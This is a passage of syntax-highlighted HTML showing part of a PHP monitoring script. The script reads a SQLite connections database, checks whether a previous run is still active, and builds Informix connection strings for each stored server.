class=\"crayon-line\" id=\"crayon-5924b59798554789257234-37\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-38\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-39\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-40\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbfile<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;{$CONF[&#8216;CONNDBDIR&#8217;]}\/connections.db&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-41\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-42\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">informixdir<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">getenv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;INFORMIXDIR&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-43\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-44\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">file_exists<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbfile<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-45\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-46\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-c\">\/\/ error_log(&#8220;*** Cannot find connections.db &#8211; {$dbfile} ****&#8221;);<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-47\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-48\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-49\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-50\"><span class=\"crayon-e\">unset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">CONF<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-51\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-52\"><span class=\"crayon-p\"># connect to the sqlite database.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-53\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PDO<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;sqlite:{$dbfile}&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-54\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setAttribute<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PDO<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">ATTR_CASE<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">PDO<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">CASE_UPPER<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-55\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-56\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-57\"><span class=\"crayon-c\"> * lets get our last runtime and if we are running ..<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-58\"><span class=\"crayon-c\"> *\/<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-59\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-60\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">qry<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;select lastrun , isrunning from pingerinfo&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-61\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">query<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">qry<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-62\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">fetch<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PDO<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">FETCH_ASSOC<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-63\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">closeCursor<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-64\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-65\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;ISRUNNING&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-66\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-67\"><span class=\"crayon-h\">\t <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">timenow<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">time<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-68\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">timenow<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;LASTRUN&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-69\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-70\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">error_log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Reset pinger &#8211; should run next time &#8220;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-71\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">query<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;update pingerinfo set isrunning = 0&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-72\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-73\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-74\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-c\">\/* we are already running so lets just quit now *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-75\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-76\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-77\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-78\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">timenow<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">time<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-79\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">timenow<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;LASTRUN&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">pinginterval<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-80\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-81\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-c\">\/\/ error_log( &#8220;no need to run &#8220;.&#8221;Last: &#8220;.($timenow &#8211; $row[&#8216;LAST&#8217;]).&#8221; &#8211; {$pinginterval}&#8221; );<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-82\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-83\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-84\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-85\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">query<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;update pingerinfo set isrunning = {$timenow} &#8220;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-86\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-87\"><span class=\"crayon-c\">\/\/ error_log ( &#8220;we better run &#8220;.&#8221;Last: &#8220;.($timenow &#8211; $row[&#8216;LAST&#8217;]).&#8221; &#8211; {$pinginterval}&#8221; );<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-88\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-89\"><span class=\"crayon-e\">putenv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;INFORMIXCONTIME=5&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-90\"><span class=\"crayon-e\">putenv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;INFORMIXCONRETRY=1&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-91\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-92\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-93\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-94\"><span class=\"crayon-c\"> * prepare the update string.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-95\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-96\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">update<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">prepare<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg where conn_num = :conn_num&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-97\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">update2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">prepare<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg, lastonline=:lastonline where conn_num = :conn_num&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-98\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-99\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-100\"><span class=\"crayon-c\"> * we need to include the lib\/connections.php<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-101\"><span class=\"crayon-c\"> * so we can access the password hooks functions.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-102\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-103\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-104\"><span class=\"crayon-v\">require<\/span><span class=\"crayon-sy\">_<\/span>once<span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;connections.php&#8217;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-105\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-106\"><span class=\"crayon-c\"> * lets get all our defined connections.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-107\"><span class=\"crayon-c\"> *\/<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-108\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sql<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;select * from connections order by server&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-109\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">query<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sql<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-110\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">rows<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">fetchAll<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PDO<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">FETCH_ASSOC<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-111\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-112\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">starttime<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">time<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-113\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">status<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Start Time: {$starttime}n&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-114\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-115\"><span class=\"crayon-st\">foreach<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">rows <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">k<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">row<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-116\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-117\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-118\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">now<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">time<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-119\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;&lt;&lt;<\/span><span class=\"crayon-e\">EOF<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-120\"><span class=\"crayon-v\">informix<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;HOST&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">service<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;PORT&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">database<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">sysmaster<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">server<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;SERVER&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;IDSPROTOCOL&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/&lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- [1]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-121\"><span class=\"crayon-v\">EOF<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-122\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-123\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PHP_OS<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;WIN&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-124\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-125\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">libsuffix<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strtoupper<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PHP_OS<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;DAR&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;dylib&#8221;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;so&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-126\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;TRANSLATIONDLL={$informixdir}\/lib\/esql\/igo4a304.&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">libsuffix<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-127\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span 